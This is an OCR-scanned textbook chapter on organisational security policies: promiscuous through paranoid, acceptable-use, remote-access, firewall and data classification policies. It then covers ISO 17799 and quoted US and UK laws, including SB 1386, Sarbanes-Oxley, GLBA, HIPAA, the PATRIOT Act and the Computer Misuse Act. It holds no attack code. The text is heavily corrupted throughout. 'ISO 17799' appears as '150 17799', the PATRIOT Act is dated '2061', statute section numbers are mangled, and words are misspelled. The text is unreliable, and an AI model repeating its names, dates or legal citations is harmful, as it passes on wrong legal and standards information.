Security policies form the foundation of a security infrastructure. Withouat them, it is impossible to protect the
company from possible lawsuaits, lost revenue, and bad publicity, not to mention basic security attacks. A secu-
rity policy is a high-level document or set of documents that describes, in detail, the security controls that will
be implemented in the company.

It maintains confidentiality, availability, integrity, and asset values. It also protects the company from threats
such as unauthorized access, theft, fraud, vandalism, fire, natural disasters, technical failures, and accidental
damage. In addition, it protects against cyber attack, malicious threats, international criminal activity, foreign
ir.ltel|:i3=nce activities, and terrorism.

Policies are nut technology specific and accomplish three things:

1. Reduce or eliminate legal liability to employees and third parties

2. Protect confidential and proprietary information from  theft, misuse, unawthorized disclosure,

or madification

3. Prevent wasting of the company’s computing resources

Security Policy Basics
All security policies must be documented propedy and should focus on the security of all departments in an
organization. Management should take the areas where security is most important inte consideration and
give priocity accordingly, but it is very important to look into each and every deparmment for possible security
breaches and ways to protect against them. The following areas in an crganization may need more attention in
terms of security:

= Encryption mechanisms

* Access control devices

= Authentication systems

= Firewalls

® Amntrvirus systems

* Web sites

* Gateways

* Routers and switches

Security policies can be classified as either technical security policies or administrative security policies.
Technical security policies describe how to configure the technology in order to use it conveniently, while ad-
ministrative security policies address how all persons should behave. Both must be meticulously documented
and signed by all emplayees.

High-level management is respomsible for the implementation of the security policies in an organization.
High-level officers involved in the implementation of the policies include the following:

* Diirector of information security

= Chief security officer
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* Drector of information technology
* Chief information officer
Types of Policies
Security policies are the foundation of any security infrastructure. These policies help to maintain the confiden-
tiality, availability, and integrity of information. Some types of secority policies are as follows:
* Promiscuous policy
* Permissive policy
* Prudent policy
* Paranoid policy
* Acceptable- use policy
* User- account policy
* Remote-access policy
* Information-protection policy
* Firewall-management policy
* Special-access policy
* Metwork-connection policy
* Rusiness-partner policy
* Data cdlassification paolicies
* Intrusion detection policies
* Virus prevention policies
* Laptop security policies
* Personal security policies

* Cryptography policies
Promiscuous Policy

With a promiscuous paolicy, there is no restriction on Internet access. A user can access any site, download any
application, and access a computer or a network from a remote distance. While this can be useful in corporate
businesses where people who travel or work at branch offices need to access the organizational networks, many
malware, virus, and Trogan threats are present on the Internet. Due o free Internet access, this malware can
come as attachments without the user's knowledge. Metwork administrators must be extremely alert if this type
of policy is chosen.

Permissive Policy

In a permissive policy, the majority of Internet traffic is accepted, but several known dangerous services and
attacks are blocked. Because only known attacks and exploits are blocked, it is impossible for administrators i

keep up with current exploits. Administrators are always playing catch-up with new attacks and exploits.

Prudent Policy
A prudent policy starts with all services blocked. The administrator enables safe and necessary services
individually. This provides maximum security. Everything, such as system and network activities, is logged.

Paranold Policy

In a paranoid policy, everything is forbidden. There is strict restriction on all usage of company computers,
whether it is system usage or network usage. There is either no Internet connection or severely limited Internet
usage. Due o these overly severe restrictions, users often try to find ways arcund them.
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Acceptable-Use Policy

Acceptable-use policies consist of some rules decided by network and Web site owners. This type of palicy
defines the proper use of computing resources. It states the responsibilities of users to protect the information
available in their acoounts.

This policy should answer the following questions:

* Should users read and copy files that are not their own but are accessible to them?

= Should users modify files that they have write access to bat are not their own?

= Should users make copies of system configuration files for their own personal use or to provide to
other people?

= Should users be allowed to use _rhosts files? Which entries are acceptable?

* Should users be allowed to share accounts?

® Should users have the ahbility to make copies of copyrighted software?

= Should users be allowed to distribute passwords andior access codes?

User-Account Polfcy

User-account policies are used to provide secure access to a system. This type of policy can be applied to a single
user ar all users. It outlines the requirements for accessing and maintaining the accounts on a system. This is
especially impartant for large Web sites where users have accounts on many systems. Users should have to read
and sign an account policy.

This policy should answer the following questions:

® Whi has the authority to approve account requests?

* Who is allowed to use computing resources?

* Nlay users have multiple accounts on a single system?
® May users share accounts?

® What are users” rights and responsibilities?

® What are the password creation and expiration rules?

® What are the maximum numbers of failed logins that are allowed for user accounts?

® When should an account be disabled and archived?
Remote-Access Polfcy

A remote-access policy contains a set of rules that define which connections are authorized and which ones

need to be rejected. This is necessary in larger organizations where networks are geographically spread or in
organizations where employees work from home.
This policy should answer the following questions:

* Whi is allowed to have remote access?
* What specific methods (such as cable medem, DL, or dial-up) does the company support?

* Should remote access implementation be limited to dial-in modems, Frame Relay, IS, DSL, VI,
55H, and cable modems?

» Are dial-out modems allowed on the internal nerworks?

* How can remote users connect to the main organizational network?

= Are there any extra requirements, such as mandatory antivirus and security software, on the remote system?
® May other members of a household use the company network?

= Do any restrictions exist on what data may be accessed remotely?

Information-Protection Policy

Information-protection policies define the standards to reduce the danger of misuse, destruction, and loss of
confidential infermation. They give guidelines to process, store, and transfer confidential information.
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These policies should answer the following questions:

* What are the sensitivity levels of information?

* Who may have access to sensitive information?

* How is sensitive information stored and transmitted ¥

* Where can the sensitive information be stored?

* What levels of sensitive information may be printed on public printers?

* How should sensitive information be deleted from storage media {paper shredding, scrubbing hard

drives, degausing disks)?

Frewall-Management Policy
A firewall-management policy defines a standard o handle application traffic, such as Weh, e-mail, or telnet. This
pelicy describes how the firewall is managed, protected, and updated. It identifies network applications, identifies
vulnerabilities associated with applications, and creates an application traffic matrix showing protection methods.

A firewall-management policy can be divided into four main areas:

* Core temets: Consists of broad policy statements and references to other security policies

* Operational: Contains detailed information about the day-to-day operation of the firewall and how the
core benets are :uppon::ﬂ

* Configrration: Consists of detailed information about firewall configuration
= Ardit: Highlights the timeline for auditing the firewall on a regular basis
This policy should answer the following questions:

* Who has access to the firewall systems?

* Whao should receive requests to make a change to the firewall configuration?
* "Whao may approve requests to make a change to the firewall configuration?
* "Wha may see the firewall configuration rules and access lists?

* How often should the firewall configuration be reviewed?

* Which traffic should be blocked?

Special-Access Policy
A special-access policy defines a set of rules to create, utilize, monitor, contral, remove, and update those accounts
with special access privileges, such as technical suppart staff, security administramors, and system administrators.
This policy should answer the following questions:
* Wha should receive requests for special access?
* Who may approve requests for special access?
* ‘What are the password rules for special-access acoounts?
* How often are passwoards changed?

* What are the reasons or situations that would lead to revocation of special access privileges?

Network-Cannection Policy

A network-connection policy defines the set of rules for secure network connectivity, including the standard o
configure and extend any part of the network, policies related to private networks, and detailed information
about the devices attached o the network. This protects against unauthorized and unprotected connections
that allow hackers to enter imto the organizational network and affect data integrity and system security. It sets
the rule that only authorized persons can access the network and vnly devices that have permission to connect
can be attached to the network,

This policy answers the following questions:

* How are users allowed to comnect to the Internet?
* Who may install new resources on the network?
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* Wha has the authority to access the network?

® Who must approve the installation of new devices?

* Wh must be notified that new devices are being added to the network?

* Who should document network changes?

= How will the network be protected to prevent users from going to malicious Web sites?
® Do any security requirements exist for the new devices being added o the nerwork?

® What system will be used to prevent unauthorized viewing of sites?

Business-Partner Polfcy

A business-partmer policy defines guidelines, agreements, and other criteria between business partners in order
to conduct business securely. It also defines the terms of the agreements as well as the responsibilities of each
business partner.

This policy should answer the following questions:

* [Is each company required to have a written security policy?

* Should each company have a firewall ar ather perimeter security device?

* How will communications occur [virtual private networking over the Internet, leased line, and so forth)?

= How will access to the partner’s resources be requested?

* Should each parmer keep accurate accounts, books, and records relating to the business?

Data Classification Polides

All the data collected about customers and employees, and any important data in an organization is classified
according to use, sensitivity, and importance. The security policies should have a section regarding the security
palicies for data, concentrating on the use and backups of the data.

Diata are divided into one of the following three categories for businesses, according to the importance and
sensitivity of the data:

= High risk: Data that can attract legal penalties if lost or damaged

= Confidentizl: Data that should be protected to prevent unauthorized disclosure

= Fubhlic: Data that are freely distributed

Mo organization can have a connection to the Intermet without the means o protect information. Every
organization with Imternet access has to ensure that its information is secured against unauthorized access.

A data classification policy should include the following points:
* Data cwners must determine the data classification and must enswre data protection.
= High-risk and confidential data must be encrypted during transmission over insecure channels.
® All backups should be handled with the same security precautions as the original data.

Intrusion Detection Policles

Intrusion detection palicies help an organization prevent confidential data from being stolen by providing infor-
mation an any kind of unauthorized entry into the organization’s network. 1f such a threat is noticed, security
offscers should be immediately notified to protect the data from being stolen.

As the system grows, the possibility of intrusion also increases. Intrusion detection policies restrict every em-
ployee and define the role of every employee. Intrusion detection policies are applied to important information
systems such as servers and workstations.

Intrusion detection policies should include the following:
* Intrusion detection tools should be installed.
* Alarm and alert functions, as well as logging and monitoring systems, must be enabled.

® [Intrusion detection must be implemented on all servers and workstations that contain high-risk and con-
fidential data.

® Server, firewall, and critical system logs should be reviewsd frequently.
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Virus Prevention Pollcles

Virus circulation can cause massive damage to any organization. Virus prevention palicies include the following;

* The willful introduction of computer viruses or disruptivefdestructive programs into the organizational
environment is prohibited.

* Any such attempt may be subject to prosecution.

* All desktop systems are protected with approved and licensed antivirus software. This software must
remain updated as recommended by the vendor.

* All servers and workstations that connect to the network and are volnerable to virus or worm
attacks must be protected.

* Headers of all incoming data, including e-mail, must be scanned for viruses by the receiving server.

Laptop Security Polfcy
All users must agree to share in the responsibility of keeping company laptops secure. The following points
should be part of a laptop security palicy:

* Users must not install any unlicensed or malicious software.

* A strong password must be used o log in.

* Laptops must be secured when not in use.

* Encryption technigues should ke used to save important documents.

* Backups for all sensitive dara should be maintained.
* Standard antivirus software muost be used and kept up 1o date.

Personal Security Policy

Everyone in an organization is responsible for protecting his or her assets. All employees must be trained in
regard to their responsibilities. These responsibilities should be included in the employee handbeok, and
employees should have to sign 2 written statement indicating that they understand the responsibilities mentioned
in the book.

Buth tangible and intangible assets of the organization should be protected. As new policies and technologies
are introduced in the organization, everyone must be given appropriate training. The chief security officer of the
organization must implement a system for security-related issues. The human resources manager should perform
background checks on employees. Employees must also sign a nondisclosure agreement [MDA) in regard to all
confidential data.

Cryptography Policy

Cryptography invelves algorithms that are used to encode data in order to protece the data’s security. Cryprog-
raphy is based on mathematical algorithms; these algorithms use a secret key for secure transformation. They
encrypt the plaimtext data—data in an unencrypted, normally readable format—into an unreadable format
called cipbertext. Users should have a solid knowledge of cryprographic technigues and how to imple-
ment them to secure data. Strong cryptographic algorithms should be selected and implemented, according o
local laws.

Falr and Accurate Credit Transactions Act of 2003 (FACTA)

In order to reserict identity theft, policies must be developed in accordance with the Fair and Accurate Credit

Transactions Act of 2003, These FACTA policies can be implemented for consumer reporting agencies, lenders,

insurers, employers, government agencies, utility companies, telscommunications companies, and any other

organization where personal information about consumers is transferred from one organization to another.
FACTA palicies are divided into the following:

* Dt classification: According to FACTA, ceganizations should protect consumer information throughout.
Personally identifiable data, or data that can be associated dearly with ome individual, must be protected.

* Prevention as well @5 detection: Measures are to be taken for the prevention of identity theft before it
takes place.
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Conswmer request policies: A consumer may dispute inaccurate information directly with the furnisher.
The furnisher must investigate and provide a timely response to the inguiry.

Consumer nofification: Consumers are to receive notification prior to, or within 30 days of, negative
information being reported to a credit bureau.

* Employment policies and procedwres: The organization must have hiring policies that reguire drug
screening, credit checks, or background checks, especially for key positions.

Diata destraction policies: Organizations should destroy documents containing sensitive informa-
tion once they are no longer of use. There should be a defined procedure for handling and shredding
discuments and other data. Regular shredding and disposal of personal data is recommended instead
of staring excessive records. In order to be FACTA compliant, businesses have to be able to prove that
sensitive information has been destroyed.

Wireless Network Policy

A wireless network policy helps secure wireless networks, including which devices are allowed to be con-
nected, what security measures should be followed, and so forth. It protects the network from malware and
malicious users who would wse the network’s wireless infrastructure to launch an attack. The policy indudes

the following:
* How wireless devices are configured
* Which wireless devices should be used
= What secure authentication schemes are used

® Where the wireless devices should be placed

Lab Policy

A lab policy discusses how to protect the internal network from the insecurities of a test lab. The best option
is to keep the test lab on a completely separate Internet connection and not have it connected in any way to the
imternal corporate network. This policy should include the following:

* How the lab is protected from the internal network
® Whi has the authority o enter
® What security equipment is needed

Policy Statements

A policy is only as effective as the policy stabements that it contains. Policy statements must be written ina very
clear and formal seyle. The following are some good examples of policy statements:
= All computers must have antivirus protection activated to provide real-time, continuous protection.
* Al servers must be configured with the minimum services to perform their designated functions.
® Access to all data will be based on a valid business need and will be subject to a formal
approval process.
* All computer software must always be purchased by the 1T department in accordance with the arganiza-
tion's procurement policy.
* A copy of backup and restoration media must be kept with the off-site backups.
While using the Internet, no persom is allowed to abuse, defame, stalk, harass, or threaten any other
person or violate local or international legal rights.

Figure 1-3 shows an example set of information security policies.

150 17799

Anather option when developing security policies is to follow the internationally recognized International Orga-
nization for Standardization (150 177%9, a set of recommendations covering all facets of information systems
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Figure 1-2 This is an example of a basic s=t of information security polices.

policies and procedures. Many organizations and consulting firms use 150 17799 as the baseline when developing

their policies.

1500 17799 is divided into the following 10 major sections:

1. Business continuity planning

* Counteracts interruptions to business activities and critical business processes and protects organiza-
tions from the effects of major failures or disasters

2. System access control
* Controls access to information

* Prevents unauthorized access to information systems
* Ensures the protection of networked services
* Prevents unauthorized computer access

* Detects unauthorized activities

* Ensures information security when traveling and telecommuting

* Prevents unauthorized user access and compromise of information and processing facilities

3. System develog

* Ensures security is built into operational systems
= Prevents loss, modification, or misuse of user data in application systems
* Protects the confidentiality, authenticity, and integrity of information
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® Uses cryptography and other security technigues

* Ensures that infoemation technodogy (1T) projects and support activities are conducted in a secure manner
* Mlanages or reduces the risks resulting from exploitation of vulnerabilities

= Mdaintains the security of application system software and data

. Physical and environmental security

* Prevents unauthorized access and damage to and interference with business premises and information
* Prevents loss or compromise of assets and interruption to business activities

= Prevents compromise or theft of information and information-processing facilities

. Compliance

= Avoids breach of any criminal or civil law
* Avoids breach of any statutory, regulatory, or contractual obligations and any security requirements
* Ensures compliance of systems with organizational security policies and standards

* Maximizes the effectiveness of—and minimizes interference to and from—the system-audit process

. Personnel securiey

s Reduces risk of human error, theft, fravd, or misuse of facilicies

® Ensures that users are aware of information security threats and concerns, and are equipped to suppart
the corporate security policy in the course of their normal work

* Minimizes the damage from security incidents and malfunctions and allows personnel to learn from
such incidents

* Ensures that employess, contractors, and third parties are right for their jobs and are aware of
their responsibilities

. Security organization

* Mlanages information security within the organization

® Maintains the security of crganizational information-processing facilities and information assets
accessed by third parties

* Mdaintains the security of information when the responsibility for information processing has been
outsourced to another organization

. Computer and network management

= Ensures the correct and secure operation of information-processing facilities

® Minimizes the risk of systems failures

® Pratects the integrity of software and information

® Ensures the safeguarding of information in networks and the protection of the supporting infrastructure
® Mdaintains the integrity and availability of information processing and communication

* Prevents damage to assets and interruptions to business activities

* Prevents loss, modification, or misuse of information exchanged between organizations

* Mlaintains the proper level of information security and delivery of services aligned with third-party policies

* Prevents unauthorized information-processing activities

. Asset classification and contral

* Maintains appropriate protection of corporate assets and ensures that information assets receive an
appropriate level of protection

. Security policy

* Provides management direction and support for information secarity
= Appliss a consistent and effective approach to the management of information security issues

More information about 150 17799 can be found at kgt iso.ong.
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U.S. Legislation

U5, legislation has begun to set the standard for information security legislation in a very direct and prescriptive
way. The following are some of the acts related to information security in the United States:

* California 5B 1386

* Sarhanes-Oxley Act 2002

* Gramm-Leach-Bliley Act |{GLBA)

* Health Insurance Portability and Accountahility Act (HIPAA)
* L5A PATRIOT Act 2061

California SB 1386

Existing law regulates the maintenance and dissemination of persomal information by state agencies, and
requires each agency to keep an accurate account of disclosures made pursuant o specified provisions. Existing
law also requires a business, as defined, o take all reasonable steps to destroy a customer's records that contain
persanal information when the business will no longer retain those records. Existing law provides civil remedies
for violations of these provisions.

This law, operative July 1, 2003, requires a state agency, or a person or business that conducts business
in California, that owns or licenses computerized data that includes personal information, as defined, to
disclose in specified ways any breach of the security of the data, as defined, to any resident of California
whisse unencrypted personal information was, or is reasonably believed to have been, acquired by an
unauthorized person.

The law permits the notifications required by its provisions to be delayed if a law enforcement agency deter-
mines that it would impede a criminal investigation. The law requires an agency, person, or business that main-
tains computerized data that includes personal information cwned by another to notify the owner or licensee
of the information of any breach of security of the data, as specified.

The law states the intent of the Legislature to preempt all local regulation of the subject matter of
the bill. This law also makes a statement of legislative findings and declarations regarding privacy and
financial security.

This law amends civil codes 1798.29, 1798.82 and 1798.84.

SELC. 2. Section 1798.29 ix added to the Civil Code, to read:

1798.29. {a) Any agency that owns or licenses compaterized data that includes personal information shall
disclose any breach of the security of the system following discovery or notification of the breach in the security
of the data to any resident of California whose unencrypted personal information was, or is reasonably believed
ter have been, acquired by an unauthorized person. The disclosure shall ke made in the most expedient time
possible and without unreasonable delay, consistent with the legitimate needs of law enforcement.

{b] Any agency that maintains computerized data that includes personal information that the agency does not
own shall notify the owner o licensee of the information of any breach of the security of the data immediately
following discovery, if the personal information was, or is reasonably believed to have been, acquired by an
unauthorized person.

(gl For purposes of this section, “notice™ may be provided by ane of the following methods:

(1] Writhen norice.

(2] Electronic notice, if the notice provided is consistent with the provisions regarding electronic records and
signatures set forth in Section 7001 of Title 15 of the United States Code.

(3] Substitute natice, if the agency demonstrates that the cost of providing notice would exceed two hun-
dred fifty thousand dollars ($250,000), or that the affected class of subject persons to be notified exceeds
500,000, or if the AgEnCy does not have sufficient contact information. Substitute notice shall consist of all of
the Following:

(4] E-mail notice when the agency has an e-mail address for the subject persons

{B] Conspicuous posting of the notice on the agency’s Web site page, if the agency maintains one

(C) Muotification to major statewide media

SEC. 3. Section 179882 of the Civil Code is amended and renambered to read:

1798.84. |a) Any customer injured by a violation of this title may institute a civil action to recover damages.

(b} Any business that violates, proposes to violate, or has violated this titke may be enjoined.
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[c}) The rights and remedies available under this section are cumulative to each other and to any other rights
and remedies available under law.

SEC. 4. Section 1796.82 is added to the Civil Code, to read:

L798_82. {a) Any person or business that conducts business in California, and that owns or licenses comput-
erized data that includes personal information, shall disclose any breach of the security of the system following
discovery or notification of the breach in the security of the data to any resident of California whose unen-
crypted personal information was, or is reasonably believed to have been, acquired by an unauthorized persan.
The disclosure shall be made in the most expedient time possible and without unreasonable delay, consistent
with the legitimate needs of law enforcement.

(k) Any person or business that maintains computerized data that includes personal information that the per-
son or business does not own shall notify the owner or licensee of the information of any breach of the security
of the data immediately following discovery, if the personal information was, or is reasonably believed o have
been, acquired by an unauthorized person.

(g} For purposes of this section, “notice™ may be provided by one of the following methods:

[1} Written notice.

[2) Electronic notice, if the notice provided is consistent with the provisions regarding electromic records and
signatures set forth in Section 7001 of Title 15 of the United States Code.

3} Substitute notice, if the [ETSCIN 43T husiness demonstrates that the cost of pu'm'iding notice would excesd
two hundred Fiﬁ}' thousand dollars ($250,000), or that the affected class of :ubject PErsons be notified ex-
ceeds 500,000, or the person or business does not have sufficient contact information. Substitute notice shall
consist of all of the following:

[A] E-mail natice when the person or business has an e-mail address for the subject persons.

[B) Conspicuous posting of the notice on the Web site page of the person or business, if the person or business
maintains one.

) Motification o majar statewide media.

Sarbanes-Oxley Act 2002

Section 201: Services Outside the Scope of Practice of Auditors

[g) FROHIBITED ACTIVITIES- It shall be unlawful for a registered public accounting firm (and any
associated person of that firm) that performs for any issuer any aodit required by this title or the rules of the
Commission under this title or, beginning 180 days after the date of commencement of the operations of the
Public Company Accounting Orversight Board to provide to that issuer, contemporaneously with the audit, any
non—audit service, including—

(1} bookkeeping or other services related o the accounting records or financial statements of the
audit client;

21 financial information systEms ﬂ-es'gn aned impl:q'ruma.rjnm;

[3) appraisal or valuation services, fairness opinions, or contribution-in-kind reports;

[4) actuarial services;

%) internal andie CHIESOU I SETVICes;

[6) management functions or human resources;

[7) broker or dealer, investment adviser, or imvestment banking services;

[8) legal services and expert services unrelated to the audit; and

[9) any other service that the Board determines, by regulation, is impermissible

[h) FREAFPROVAL REQUIRED FOR MONAUDIT SERVICES—A registered public accounting firm may
engage in any nonaudit service, including tax services, that is not described in any of paragraphs (1} through
(9] af subsection (g) for an audit client, only if the activity is approved in advance by the audit committes of
the issuer.

Section 301 Corporate Responsibility for Financial Reports

a. Regulations Required. The principal executive officer or officers, and the principal financal officer or
offcers, or persons performing similar functions, certify in each annual or quartery report filed or submitted
under either such section of such Act that—

1. The signing officer has reviewed the report;

2. Based on the officers knowledge, the report does not contain any untrue statement of a material fact or
omit to state a material fact necessary in order to make the statements made, in light of the circumstances under
which such statements were made, not misleading;
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3. Based on such officer’s l:nnwledge, the financial statements, and other financial information ncluded in
the report, fairly present in all material respects the financial condition and results of vperations of the issuer as
of, and for, the periods presented in the report;

The signing officers—

A Are responsible for establishing and maintaining internal controls;

B. Have designed such internal controls to ensure that material information relating to the issuer and its
comsolidated subsidiaries is made known to such officers by others within those entities, particularly during the
periad in which the periodic reports are being prepared;

C. Have evaluated the effectiveness of the issuer’s internal controls as of a date within 90 days prior to the
report; and

. Have presented in the report their conclusions about the effectiveness of their internal contrals based an
their evaluation as of that date;

5. The signing officers have disclosed to the issuer’s auditors and the audit committee of the board of directors
{or persons fulfilling the equivalent function)—

A All significant deficiencies in the design or operation of internal controls that could adversely affect the
issuer’s ability to record, process, summarize, and report financial data and have identified for the issuer’s audi-
tors any material weaknesses in internal controls; and

B. Any fraud, whether or not material, that involves management or ather employees who have a significant
rale in the issuer's imternal controls; and

6. The signing officers have indicated in the report whether or not there were significant changes in internal
controls or in other factors that could significantly affect internal controls subsequent to the date of their evalu-
ation, including any corrective actions with regard to significant deficiencies and material weaknesses.

b. Foreign Reincorporations Have Mo Effect. Mothing in this section 302 shall be interpreted or applied in
any way to allow any issuer to lessen the legal force of the statement required under this section 302, by an issuer
having reincorparated or having engaged in any other transaction that resulted in the transfer of the corporate
domicile or offices of the issuer from inside the United States to outside of the United States.

Section 4041 Management Assessment of Internal Contrals

{a) Rules Required. CEOs, CFOs, and auditors must repart on and attest to the effectiveness of internal con-
trals for financial reporting. This report shall:

(1] State the responsibility of management for establishing and maintaining an adeguate internal control
structure and procedures for financial reporting; and

{2} Contain an assessment, as af the end of the most recent fiscal }'\e:ro‘l: the issuer, of the effectivensss of the
internal controd structure and procedures of the issuer for financial reporting.

(b) Internal Control Evaluation and Reporting. With respect to the internal control assessment required by
subsection {a), each registered public accounting firm that prepares or issues the audit report for the issuer shall
attest by, and report on, the assessment made by the management of the isuver. An attestation made under this
subsection shall be made in accordance with standards for attestation engagements issued or adopted by the
Board. Any such attestation shall ot be the subject of a separate engagement.

Gramm-Leach-Bliley Act (GLB Act)

The Financial Modernization Act of 199%, also known as the Eramm—L:ach-BJi]:y Act or GLB Act, includes
provisions te protect consumers’ personal financial information held by financial institutions. There are three
principal parts to the privacy requirements: the Financial Privacy Rule, the Safeguards Rule, and “pretexting™
provisions.

The GLE Act gives authority to eight federal agencies and the states to administer and enforce the Financial
Privacy Rule and the Safeguards Rule. These two regulations apply o *financial institutions,” which indude
not only banks, securities firms, and insurance companies but alse companies providing many other types of
financial products and services to consumers. Amang these services are lending, brokering, or servicing any type
of consumer loan, transferring or safeguarding money, preparing individual tax returns, providing financial
advice or credit counseling, providing residential real estate settlement services, collecting consumer debts, and
an array of other activities. Such nontraditional financial institutions are regulated by the Federal Trade Com-
mission (FTC).

The Financial Privacy Rule requires financial institutions to give their customers privacy notices that explain
the financial institution’s information collection and sharing practices. In turn, customers have the right o
limit some sharing of their information. Also, financial institutions and other companies that receive personal
financial information from a financial institution may be limited in their ability to use that information.
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The FTC is ome of eight federal agencies that, along with the states, are responsible for developing a consistent
regulatory framework to administer and enforee the Financial Privacy Rule. In December 2003, the eight fed-
eral agencies ssued an Advance Notice of Fublic Rulemaking to consider the development of alternative forms
af privacy notices for consumers, soliciting public comments on the feasibility, design, and content for a shore
notice and requesting applicable research.

The Safeguards Rule, enforced by the FT'C, requires financial institutions to have a security plan to protect
the confidentiality and integrity of personal consumer information.

The Gramm-Leach-Bliley Act prohibits “pretexting,” the use of false pretenses, including fravdulent state-
ments and impersonation, to obtain consumers” personal financial information, such as bank balances. This law
also prohibits the knowing solicitation of others to engage in pretexting. The FT'C has been active in bringing
cases to halt the operations of companies and individuals that allegedly practice pretexting and sell consumers’
financial information.

Health Insurance Portability and Accountability Act (HIPAA)

Public Law 104-191, 104th Congress

Tix amend the Internal Revenue Code of 1986 to improve portability and continuity of health insurance cov-
erage in the group and individual markets; to combat waste, fraud, and abuse in health insurance and health
care delivery; to promate the use of medical savings accounts; to improve access to long-term care services and
coverage; to simplify the administration of health insurance; and for other purposes.

B it enacted by the Senate and House of Representatives of the United States of America in Congress assembled.

HIPAA privacy and disclosures in emergency situations:

The HIPAA Privacy Rule allows patient information to be shared to assist in disaster relief efforts and oo
assist patients in receiving the care they nesd. Providers and health plans coversd by the HIPA A Privacy Rule

can share patient information in all the following ways:

= Treatmeat: Health care providers can share patient information as necessary to provide treatment.
Treatment includes:

= Sharing information with other providers (including hospitals and clinics

* Referring patients for treatment (including linking patients with available providers in areas where the
patients hawe relocated)

* Coordinating patient care with others [such as emergency relief workers or others that can help in
finding patients appropriate health services)
Providers can alse share patient information to the extent necessary to seek payment for these health
CATE SeTvices.

= Motification: Health care providers can share patient information as necessary to identify, locate, and
notify family members, guardians, or anyone else responsible for the individual’s care of the individual’s
lacation, gcn:ra| condition, or death.

# The health care provider should get verhal permission from individuals, when possible; but, if the
individual is incapacitated or not available, providers may share information for these purposes if, in
their professional judgment, doing so is in the patients best interest.

® Thus, when necessary, the hospital may notify the police, the press, or the public at large to the extent
necessary to help locate, identify, or otherwise notify family members and others as m the lecation
and general condition of their loved ones.
= In addition, when a health care provider is sharing information with disaster relief organizations chat,
like the American Red Cross, are authorized by law or by their charters to assist in disaster relief
efforts, it is unnecessary to obtain a patient’s permission to share the information if deing so would
interfere with the crganization’s ability to respond 1o the emergency.
* DImemiment danger: Providers can share patient information with anyone as necessary to prevent or
lessen a serious and imminent threat to the health and safety of a person or the public consistent with
applicable law and the provider's standards of ethical conduct.
= Facility directory: Health care facilities maintaining a directory of patients can tell people who call or
ask about individuals whether the individual is at the facility, their location in the facility, and their
general condition.
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The HIPAA Privacy Rule does not apply to disclosures if they are not made by entities covered by the Privacy
Rule. Thus, for instance, the HIPAA PFrivacy Rule does not restrict the American Red Cross from sha.rin.g
patient information.

USA PATRIOT Act 2001
This law was introduced as a direct result of the events of September 11, 2001, The USA PATRIOT Act has had
a huge impact on how government agencies can obtain information about private individuals.
The USA PATRIOT Act introduced sweeping changes to U5, law, including amendments to:
* Wiretap Statute (Title 111)
* Electronic Communications Privacy Act
* Computer Fraud and Abuse Act
* Foreign Intelligence Surveillance Act
* Family Education Rights and Privacy Act
* Pen Register and Trap and Trace Statute
* Money Laundering Act
* Immigration and Mationality Act
* Money Laundering Control Act
* Bank Secrecy Act
* Right to Financial Privacy fct
* Fair Credit Reporting Act
This law permits the following:
* Wiretap orders now can be ohtained pertaining to a person rather than individual circuits.

* [Internet service providers (15Ps) may volunteer information that they believe is of national importance,
without fear of prosscution.

* Mailbox information can be ohtained by subpoena rather than wiretap order.

The USA PATRIOT Act includes the follvwing different sections:

* Section 202: Authority to Intercept Viobce Communications in Computer Hacking Investigations
* Section 209: Obtaining Voice-mail and Orther Stored Voice Communications

* Section 210: Scope of Subpoenas for Electronic Evidence

* Section 211: Clarifying the Scope of the Cable Act

* Section 212: Emergency Disclosures by Communications Providers

* Section 216: Pen Register and Trap and Trace Statute

* Section 217: Intercepting the Communications of Computer Trespassers

* Section 220: Naticnwide Search Warrants for E-mail

U.K. Legislation

The Computer Misuse Act 1990
The Computer Misuse Act 1990 creates three distinct criminal offenses:

1. Urunuthorized access to computers, including the illicit copying of softuare beld in any computer: This
carries a penalty of up to six months imprisonment or up to a £5,000 fine and will be dealt with by a
magistrate. This covers hobby hacking and, potentially, penetration testing.
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2. Unantharized access with imtent to commit or facilitate commmission of further offenses jsuch as fraud or
theft), which covers more serfows coses of hacking with o criminal intent: This has a penalty of up to five
years’ imprisonment and an unlimited fine. Because it is a serious offense, it would be a trial by jury.

3. Umantborized mndr’ﬁmﬁm u-f compauter wmaterial, which includes the frtertional and mrauthorized
destriction of saflaare or data; the circulation of “infected™ materials online (“riruzes”) and the wrau-
thorized addition of a password to @ data file [“crypto virnses™): This offense also carries a penalty of
up to five years” imprisonment and an unlimited fine. It is also a serious offense, so it too would be a wrial
by jury.

Any security policy must contain an AUP and be communicated to all employees. Systems should contain

logon banners stating that access is for authorized personnel only and must not contain a “welcome.” Penetra-
tion tests should be accompanied by appropriate paperwoark.

The Data Protection Act 1998

The Data Protection Act 1998 is the UK.'s enactment of EC Directive 9546/EC. This act gives legal rights to
individuals (data subjects) in respect of persanal data processed about them by others. The act promotes a cul-
ture of openness and fairness in those who process personal data (data controllers).

The act covers manual and computerized records and is concerned with the processing of persomal data. I
waorks in two ways:

1. Giving individuals {data subjects) certain rights over the way that their data is processed

2. Reguiring those who decide how and why personal data is processed (data controllers) to be open
about their use of that data and to comply with the data protection principles in their information-
handling practices

Individuals have the right to:

® Ask if government agencies hald personal information about the individual

= Ask what the information is used for

= Ask to be given a copy of the information held

s Ask whether the agency dizcloses the individual's information toe others and, if so, to whom

= Ask the agency to correct, erase, or destroy any incorrect data

= Ask the agency not to use personal information about the individual for direct marketing purposes

= Ask the agency to stop processing that the individual considers is causing him or her unwarranted dam-
age or distress

® Seck compensation if the individual has suffered damage caused by the agency’s contravention of the act

A data controller must comply with the eight principles of good practice, which require that personal infor-
mation is:

1. Fairly and lawfully processed
1. Processed for limited purposes and not processed in any manner incompatible with these purposes
3. Adequate, relevant, and not excessive

4. Accurate

5. Mot kept for longer than is necessary

6. Processed in accordance with the data subject’s rights

7. Keptsecure

8. Mot transferred to countries without adequate protection for the information

The Human Rights Act 1998

Based on the European Convention on Human Rights, the Human Rights Act 1998 came into effect in October
2000, Under Article B of the Convention, people are afforded the right to privacy. This not only covers privacy
while people are in the workplace but also e-mail communications, Internet use, and telephone calls.
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This law states that:

* Everyome has the right to respect for his or her private and family life, home, and correspondence.

* There shall be no interference by a public authority with the exercise of this right except such as is in
accordance with the law and is necessary in a democratic society in the interests of national security,
public safety, or the economic well-being of the country, for the prevention of disorder wr crime, for the
protection of health or morals, or for the protection of the rights and freedoms of others.

Any security policy must be communicated to employees and include a warning that systems may be moni-
tored For security purposes. Monitoring would include:

* Penetration pests
= DS

* Mail scanning

* Packet sniffers

Interception of Communications

The Telecommumnications [L:.w'f'uj Business Practice) |Interception af Communications) R:Euhﬁm: 2000
